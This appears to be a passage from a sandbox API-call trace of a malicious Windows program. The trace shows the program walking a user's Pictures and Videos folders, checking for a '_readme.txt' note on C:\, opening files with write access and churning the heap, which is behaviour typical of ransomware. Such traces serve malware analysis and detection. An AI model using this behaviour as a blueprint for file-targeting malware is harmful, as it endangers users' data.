ftCreationTime.dwHighDateTime=0x1d4d1cc, ftLastAccessTime.dwLowDateTime=0x43893410, ftLastAccessTime.dwHighDateTime=0x1d4cd50, ftLastWriteTime.dwLowDateTime=0x43893410, ftLastWriteTime.dwHighDateTime=0x1d4cd50, nFileSizeHigh=0x0, nFileSizeLow=0x13ff6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3uz9sjygz2I9u-5T7p.png", cAlternateFileName="3UZ9SJ~1.PNG")) returned 1 [0124.779] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c87ebc0, ftCreationTime.dwHighDateTime=0x1d4cbf1, ftLastAccessTime.dwLowDateTime=0xb67fce0, ftLastAccessTime.dwHighDateTime=0x1d4c5af, ftLastWriteTime.dwLowDateTime=0xb67fce0, ftLastWriteTime.dwHighDateTime=0x1d4c5af, nFileSizeHigh=0x0, nFileSizeLow=0x62d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dbSz.png", cAlternateFileName="")) returned 1 [0124.779] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7cf5ae0, ftCreationTime.dwHighDateTime=0x1d4ccb5, ftLastAccessTime.dwLowDateTime=0xbe266850, ftLastAccessTime.dwHighDateTime=0x1d4d38b, ftLastWriteTime.dwLowDateTime=0xbe266850, ftLastWriteTime.dwHighDateTime=0x1d4d38b, nFileSizeHigh=0x0, nFileSizeLow=0x720f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XHt9VP7ib.gif", cAlternateFileName="XHT9VP~1.GIF")) returned 1 [0124.780] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11687930, ftCreationTime.dwHighDateTime=0x1d4ce97, ftLastAccessTime.dwLowDateTime=0x198a53a0, ftLastAccessTime.dwHighDateTime=0x1d4cbb2, ftLastWriteTime.dwLowDateTime=0x198a53a0, ftLastWriteTime.dwHighDateTime=0x1d4cbb2, nFileSizeHigh=0x0, nFileSizeLow=0xdc44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_iolZcQAgtC1ACM.png", cAlternateFileName="_IOLZC~1.PNG")) returned 1 [0124.780] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11687930, ftCreationTime.dwHighDateTime=0x1d4ce97, ftLastAccessTime.dwLowDateTime=0x198a53a0, ftLastAccessTime.dwHighDateTime=0x1d4cbb2, ftLastWriteTime.dwLowDateTime=0x198a53a0, ftLastWriteTime.dwHighDateTime=0x1d4cbb2, nFileSizeHigh=0x0, nFileSizeLow=0xdc44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_iolZcQAgtC1ACM.png", cAlternateFileName="_IOLZC~1.PNG")) returned 0 [0124.780] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.780] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.780] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\") returned="r-u9vnXsx8Ur0\\" [0124.780] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0124.780] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.781] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.781] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.781] PathFindFileNameW (pszPath="") returned="" [0124.781] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8184c870, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x40683ef0, ftLastAccessTime.dwHighDateTime=0x1d4c703, ftLastWriteTime.dwLowDateTime=0x40683ef0, ftLastWriteTime.dwHighDateTime=0x1d4c703, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.783] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8184c870, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x40683ef0, ftLastAccessTime.dwHighDateTime=0x1d4c703, ftLastWriteTime.dwLowDateTime=0x40683ef0, ftLastWriteTime.dwHighDateTime=0x1d4c703, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.783] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1418cb60, ftCreationTime.dwHighDateTime=0x1d4d2e5, ftLastAccessTime.dwLowDateTime=0x211b0f80, ftLastAccessTime.dwHighDateTime=0x1d4d1be, ftLastWriteTime.dwLowDateTime=0x211b0f80, ftLastWriteTime.dwHighDateTime=0x1d4d1be, nFileSizeHigh=0x0, nFileSizeLow=0x13a41, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ampfWs0z5kbstxRZUv.png", cAlternateFileName="AMPFWS~1.PNG")) returned 1 [0124.783] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974b4620, ftCreationTime.dwHighDateTime=0x1d4c6b5, ftLastAccessTime.dwLowDateTime=0xc9df2d90, ftLastAccessTime.dwHighDateTime=0x1d4c881, ftLastWriteTime.dwLowDateTime=0xc9df2d90, ftLastWriteTime.dwHighDateTime=0x1d4c881, nFileSizeHigh=0x0, nFileSizeLow=0x12f24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HAJ2zHK0.png", cAlternateFileName="")) returned 1 [0124.783] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x321d3630, ftCreationTime.dwHighDateTime=0x1d4c932, ftLastAccessTime.dwLowDateTime=0xac565d70, ftLastAccessTime.dwHighDateTime=0x1d4d15a, ftLastWriteTime.dwLowDateTime=0xac565d70, ftLastWriteTime.dwHighDateTime=0x1d4d15a, nFileSizeHigh=0x0, nFileSizeLow=0x14f3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lJDyJz4X_LOUsSG.png", cAlternateFileName="LJDYJZ~1.PNG")) returned 1 [0124.783] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88804440, ftCreationTime.dwHighDateTime=0x1d4c96e, ftLastAccessTime.dwLowDateTime=0xd68de9d0, ftLastAccessTime.dwHighDateTime=0x1d4c923, ftLastWriteTime.dwLowDateTime=0xd68de9d0, ftLastWriteTime.dwHighDateTime=0x1d4c923, nFileSizeHigh=0x0, nFileSizeLow=0xe78c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xu0FJPBCEsMrFdRg0wfb.png", cAlternateFileName="XU0FJP~1.PNG")) returned 1 [0124.783] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f6d0c30, ftCreationTime.dwHighDateTime=0x1d4cf5f, ftLastAccessTime.dwLowDateTime=0xfbbbf2d0, ftLastAccessTime.dwHighDateTime=0x1d4cf57, ftLastWriteTime.dwLowDateTime=0xfbbbf2d0, ftLastWriteTime.dwHighDateTime=0x1d4cf57, nFileSizeHigh=0x0, nFileSizeLow=0x3cfb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y0VZOX.jpg", cAlternateFileName="")) returned 1 [0124.783] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.784] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.784] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\") returned="b-b9YkzIMqBbLX\\" [0124.784] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0124.784] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.784] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.784] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.784] PathFindFileNameW (pszPath="") returned="" [0124.784] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68032360, ftCreationTime.dwHighDateTime=0x1d4d5b5, ftLastAccessTime.dwLowDateTime=0xdfd148f0, ftLastAccessTime.dwHighDateTime=0x1d4cdd5, ftLastWriteTime.dwLowDateTime=0xdfd148f0, ftLastWriteTime.dwHighDateTime=0x1d4cdd5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.786] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.787] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.787] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.787] PathFindFileNameW (pszPath="") returned="" [0124.787] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.787] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.788] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.788] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.788] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0124.788] PathFileExistsW (pszPath="C:\\_readme.txt") returned 1 [0124.788] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x306c8a0 [0124.788] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" [0124.788] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0124.788] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.789] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0124.789] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0124.789] PathFindExtensionW (pszPath="C:\\_readme.txt") returned=".txt" [0124.789] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.790] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038078 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.790] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.790] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.790] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.790] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.790] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.790] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.790] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.790] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.790] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.790] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.790] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.790] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.790] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.793] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.794] RtlAllocateHeap (HeapHandle=0x5c0000, 